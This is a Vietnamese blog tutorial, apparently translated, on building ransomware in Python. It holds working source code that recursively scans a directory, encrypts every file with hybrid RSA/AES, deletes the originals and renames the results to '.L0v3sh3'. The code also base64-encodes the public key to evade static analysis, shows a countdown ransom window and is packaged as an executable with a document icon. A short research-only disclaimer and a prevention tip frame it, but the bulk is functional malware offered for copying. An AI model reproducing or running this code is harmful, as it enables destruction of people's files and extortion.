Tuyên bố từ chối trách nhiệm: Bài viết này chỉ dành cho mục đích nghiên cứu, đừng phá hoại bất kỳ máy tính nào ngoại trừ máy tính của bạn. Nếu bạn cố gắng tạo ra một con ransomware thực sự, thì bạn đang vi phạm pháp luật và bạn sẽ phải ngồi tù. Đi theo chính đạo, tà đạo dễ sa ngã vào con đường tội lỗi lắm nha anh em.

Cách tạo Ransomware bằng Python

P/s: Bài viết được dịch từ Febi Mudiyanto, và mình sẽ sử dụng ngôi thứ nhất để các bạn dễ hiểu hơn.

Ransomware là gì?

Ransomware giống như phần mềm độc hại hoặc virus máy tính, nhưng với một mục đích là mã hóa dữ liệu và đòi tiền chuộc cho bạn. Dữ liệu của bạn được mã hóa bằng mã hóa bất đối xứng và virus chỉ mã hóa bằng khóa công khai. Có một khóa riêng để giải mã dữ liệu của bạn trở lại, nhưng kẻ tấn công chắc chắn sẽ không đính kèm khóa riêng với virus.

Các bước chuẩn bị để tạo ransomware

Trước khi bạn xây dựng một số chương trình, bạn phải hiểu nó sẽ làm gì. Đây là danh sách các yêu cầu của mình, bạn cũng có thể sử dụng danh sách của riêng mình.

1. Chương trình phải là một tệp thực thi và có icon giống như một tệp tài liệu.

2. Chương trình phải mã hóa dữ liệu bằng khóa công khai

3. Sau khi mã hóa, chương trình phải xóa các tệp gốc và thay đổi phần mở rộng tệp được mã hóa thành “.L0v3sh3”.

4. Chương trình phải hiển thị thông báo có đồng hồ đếm ngược.

Viết chương trình Ransomware

Bước 1 – Tạo khóa cá nhân và khóa công khai

Đoạn code dưới đây dùng để tạo khóa cá nhân (privateKey) và khóa công khai (publicKey). Khá dễ hiểu nên mình sẽ không giải thích thêm.

'''
pip install pycryptodome
'''

from Crypto.PublicKey import RSA

key = RSA.generate(2048)
privateKey = key.export_key()
publicKey = key.publickey().export_key()

# lưu khóa cá nhân vào tệp
with open('private.pem', 'wb') as f:
    f.write(privateKey)

# lưu khóa công khai vào tệp
with open('public.pem', 'wb') as f:
    f.write(publicKey)

print('Private key saved to private.pem')
print('Public key saved to public.pem')
print('Done')

Cách tạo Ransomware bằng Python 9

Sau khi chạy file genKey.py, bạn sẽ có 2 tệp là private.pem và public.pem. Các bạn nhớ lưu file private.pem một cách an toàn.

READ  tóm tắt phim anime hay | yn media review phim anime hay

Bước 2 – Mã hóa khóa công khai

Mục đích chính của việc mã hóa là làm cho khóa công khai khó xác định bằng cách phân tích phần mềm độc hại dạng tĩnh. Vì vậy, mình mã hóa khóa công khai bằng base64 và đính kèm khóa đó vào code của mình.

Bạn có thể sử dụng đoạn lệnh này:

import base64
code = "aGkgZnJpZW5kcywgdGhpcyBpcyBiYXNlNjQgZW5jb2Rpbmc=" 
print(base64.b64decode(code))

Vì vậy, bạn có thể mã hóa khóa riêng tư của mình, sau đó giải mã nó trong script.

import base64
with open('public.pem', 'rb') as f:
    public = f.read()
print(base64.b64encode(public))

Bước 3 – Mã hóa một số tệp trong thư mục

def scanRecurse(baseDir):
    for entry in os.scandir(baseDir):
        if entry.is_file():
            yield entry
        else:
            yield from scanRecurse(entry.path)

Hàm trên là một hàm đệ quy để quét các thư mục và trả lại một loạt các tệp được liệt kê cùng đường dẫn. Sau đó, mình sử dụng hàm mã hóa và cung cấp danh sách file đã lấy trước đó.

import base64
import os
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, AES

'''
with open('public.pem', 'rb') as f:
    public = f.read()
print(base64.b64encode(public))
'''

# Mã hóa khóa công khai bằng base64
pubKey = '''LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFxZUs0TkppUGlaQ1o0aDRwM2lzNwpyOTdTRGRnaWtrckswNE1sc3oraHY2UmIxKzB2M1hsY296QXVGeGIvMjkxTE5tNGs1M1RZTXQ4M3BPRm9ZRTh4Ckx0VE55UVNSMDR2dzBGcGRwU3Y1YVVjbysxRmtwRjRMdCtqV1Q0YjVrTUFqWTRkOW5Yb3lRQmxJbzBWckMwQzIKcldpeklONGV1TXBTbll3V2Z0a2JsZE5qcDJ1U0hFeWM1Z0FZR1ZKSWZ6TVRiaUxZd0k5aU9rNllnWEozbWJLdAp1dHo2WlRTdlplVzEwaUhrc2JXUXgvcUVjR0JLWFJUbkUvYTJkZVhvRThRaFZOTUV5Z0xVQmF3NERYaWRCbXBiCnFmSWtvZk5UWlQ3K2NyaENocVptYmFrSjA5bTdmT3k1TURud0oraU0wdlBheW1tdGduWnBrR0NQNlpDVDlkeHoKcHdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t'''
pubKey = base64.b64decode(pubKey)


def scanRecurse(baseDir):
    '''
    Quét thư mục và trả về danh sách tất cả các tệp.
    '''
    for entry in os.scandir(baseDir):
        if entry.is_file():
            yield entry
        else:
            yield from scanRecurse(entry.path)


def encrypt(dataFile, publicKey):
    '''
    sử dụng chế độ EAX để cho phép phát hiện các sửa đổi trái phép
    '''
    # đọc dữ liệu từ tệp
    with open(dataFile, 'rb') as f:
        data = f.read()
    
    # chuyển đổi dữ liệu sang byte
    data = bytes(data)

    # tạo đối tượng khóa công khai
    key = RSA.import_key(publicKey)
    sessionKey = os.urandom(16)

    # mã hóa khóa phiên bằng khóa công khai
    cipher = PKCS1_OAEP.new(key)
    encryptedSessionKey = cipher.encrypt(sessionKey)

    # mã hóa dữ liệu bằng khóa phiên
    cipher = AES.new(sessionKey, AES.MODE_EAX)
    ciphertext, tag = cipher.encrypt_and_digest(data)

    # lưu dữ liệu được mã hóa vào tệp
    [ fileName, fileExtension ] = dataFile.split('.')
    encryptedFile = fileName + '_encrypted.' + fileExtension
    with open(encryptedFile, 'wb') as f:
        [ f.write(x) for x in (encryptedSessionKey, cipher.nonce, tag, ciphertext) ]
    print('Encrypted file saved to ' + encryptedFile)

fileName="test.txt"
encrypt(fileName, pubKey)

Và đối với hàm giải mã, bạn có thể sử dụng lệnh dưới đây.

def decrypt(dataFile, privateKeyFile):
    '''
    sử dụng chế độ EAX để cho phép phát hiện các sửa đổi trái phép
    '''

    # đọc khóa cá nhân từ tệp
    with open(privateKeyFile, 'rb') as f:
        privateKey = f.read()
        # create private key object
        key = RSA.import_key(privateKey)

    # đọc dữ liệu từ tệp
    with open(dataFile, 'rb') as f:
        # read the session key
        encryptedSessionKey, nonce, tag, ciphertext = [ f.read(x) for x in (key.size_in_bytes(), 16, 16, -1) ]

    # giải mã khóa phiên
    cipher = PKCS1_OAEP.new(key)
    sessionKey = cipher.decrypt(encryptedSessionKey)

    # giải mã dữ liệu bằng khóa phiên
    cipher = AES.new(sessionKey, AES.MODE_EAX, nonce)
    data = cipher.decrypt_and_verify(ciphertext, tag)

    # lưu dữ liệu đã giải mã vào tệp
    [ fileName, fileExtension ] = dataFile.split('.')
    decryptedFile = fileName + '_decrypted.' + fileExtension
    with open(decryptedFile, 'wb') as f:
        f.write(data)

    print('Decrypted file saved to ' + decryptedFile)

Quét tệp, mã hóa tệp đó rồi thay đổi phần mở rộng.

import base64
import os
from pathlib import Path
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, AES


# mã hóa khóa công khai bằng base64
pubKey = '''LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFxZUs0TkppUGlaQ1o0aDRwM2lzNwpyOTdTRGRnaWtrckswNE1sc3oraHY2UmIxKzB2M1hsY296QXVGeGIvMjkxTE5tNGs1M1RZTXQ4M3BPRm9ZRTh4Ckx0VE55UVNSMDR2dzBGcGRwU3Y1YVVjbysxRmtwRjRMdCtqV1Q0YjVrTUFqWTRkOW5Yb3lRQmxJbzBWckMwQzIKcldpeklONGV1TXBTbll3V2Z0a2JsZE5qcDJ1U0hFeWM1Z0FZR1ZKSWZ6TVRiaUxZd0k5aU9rNllnWEozbWJLdAp1dHo2WlRTdlplVzEwaUhrc2JXUXgvcUVjR0JLWFJUbkUvYTJkZVhvRThRaFZOTUV5Z0xVQmF3NERYaWRCbXBiCnFmSWtvZk5UWlQ3K2NyaENocVptYmFrSjA5bTdmT3k1TURud0oraU0wdlBheW1tdGduWnBrR0NQNlpDVDlkeHoKcHdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t'''
pubKey = base64.b64decode(pubKey)


def scanRecurse(baseDir):
    '''
    Quét một thư mục và trả về danh sách tất cả các tệp
    '''
    for entry in os.scandir(baseDir):
        if entry.is_file():
            yield entry
        else:
            yield from scanRecurse(entry.path)


def encrypt(dataFile, publicKey):
    '''
    Đầu vào: đường dẫn đến tệp để mã hóa, khóa công khai
    Đầu ra: tệp được mã hóa với phần mở rộng .L0v3sh3 và xóa tệp gốc
    sử dụng chế độ EAX để cho phép phát hiện các sửa đổi trái phép
    '''
    # đọc dữ liệu từ tệp
    extension = dataFile.suffix.lower()
    dataFile = str(dataFile)
    with open(dataFile, 'rb') as f:
        data = f.read()
    
    # chuyển đổi dữ liệu sang byte
    data = bytes(data)

    # tạo đối tượng khóa công khai
    key = RSA.import_key(publicKey)
    sessionKey = os.urandom(16)

    # mã hóa khóa phiên bằng khóa công khai
    cipher = PKCS1_OAEP.new(key)
    encryptedSessionKey = cipher.encrypt(sessionKey)

    # mã hóa dữ liệu bằng khóa phiên
    cipher = AES.new(sessionKey, AES.MODE_EAX)
    ciphertext, tag = cipher.encrypt_and_digest(data)

    # lưu dữ liệu được mã hóa vào tệp
    fileName= dataFile.split(extension)[0]
    fileExtension = '.L0v3sh3'
    encryptedFile = fileName + fileExtension
    with open(encryptedFile, 'wb') as f:
        [ f.write(x) for x in (encryptedSessionKey, cipher.nonce, tag, ciphertext) ]
    os.remove(dataFile)


# thay đổi thư mục thành thư mục của script
# giữ an toàn khi thay đổi thư mục,
# KHÔNG CHẠY SCRIPT NÀY TRÊN PC CỦA BẠN
directory = '../' # THAY ĐỔI CHỖ NÀY
excludeExtension = ['.py','.pem', '.exe'] # VỚI ĐỔI CHỖ NÀY
for item in scanRecurse(directory): 
    filePath = Path(item)
    fileType = filePath.suffix.lower()

    if fileType in excludeExtension:
        continue
    encrypt(filePath, pubKey)

Để thử nghiệm, mình sẽ sử dụng thư mục gốc của thư mục chương trình này để quét và mã hóa bằng tập lệnh này.

READ  I take on OPEN QUALIFYING! | Quest for the Open 2022 (Episode 6)

Đây là thư mục của mình  trước khi chạy phần mềm độc hại:

Cách tạo Ransomware bằng Python 10
thư mục của tôi trước khi chạy phần mềm độc hại
Cách tạo Ransomware bằng Python 11
nội dung của parent.txt
Cách tạo Ransomware bằng Python 12
nội dung của testFile.txt

Đây là thư mục của mình sau khi chạy phần mềm độc hại:

Cách tạo Ransomware bằng Python 13

Cách tạo Ransomware bằng Python 14
nội dung của parent.txt sau khi chạy chương trình
Cách tạo Ransomware bằng Python 15
nội dung của testFile.txt sau khi chạy chương trình

Chúng ta đã tạo xong một chương trình python để mã hóa tệp và thay đổi phần mở rộng tệp.

Bước 4 – Đồng hồ đếm ngược và lời nhắn sau khi mã hóa xong

Chỉ cần sao chép lệnh dưới và dán vào phần cuối của script.

import tkinter as tk

def countdown(count):
    # thay đổi văn bản trong label
    # count="01:30:00"
    hour, minute, second = count.split(':')
    hour = int(hour)
    minute = int(minute)
    second = int(second)

    label['text'] = '{}:{}:{}'.format(hour, minute, second)

    if second > 0 or minute > 0 or hour > 0:
        # Gọi hàm countdown lại sau 1000ms (1s)
        if second > 0:
            second -= 1
        elif minute > 0:
            minute -= 1
            second = 59
        elif hour > 0:
            hour -= 1
            minute = 59
            second = 59
        root.after(1000, countdown, '{}:{}:{}'.format(hour, minute, second)) 

root = tk.Tk()
root.title('L0v3sh3 Ransomware')
root.geometry('500x300')
root.resizable(False, False)
label1 = tk.Label(root, text="Your data is under rest, please don\"t pay me,\nthis just simulation !!\n\n', font=('calibri', 12,'bold'))
label1.pack()
label = tk.Label(root,font=('calibri', 50,'bold'), fg='white', bg='blue')
label.pack()

# Gọi hàm countdown lần đầu tiên    
countdown('01:30:00')
# root.after(0, countdown, 5)
root.mainloop()

Bước cuối cùng – Tạo tệp thực thi với auto-py-to-exe

Bạn có thể tải toàn bộ script tại đây, chỉ cần sao chép nó nhưng đừng quên hiểu những gì bạn đã viết.

Khởi chạy Ransomware

Cách tạo Ransomware bằng Python 16

Kết luận

Đây là một dự án nguy hiểm phải không? Hãy cẩn thận khi bạn chạy chương trình, đảm bảo rằng bạn thay đổi thư mục và thử nó trong máy ảo.

READ  Chuỗi Cung Ứng Là Gì ? Cách Vận Hành Chuỗi Cung Ứng Hiệu Quả

Bạn có thể sửa đổi ngược lại, giải mã các tệp .L0v3sh3. Chỉ cần thay đổi hàm mã hóa bằng giải mã.

Để phòng tránh, bạn nên bật chế độ xem tiện ích mở rộng của file để phân biệt được các tệp thực thi khác nhau.



Người nổi tiếng

Rate this post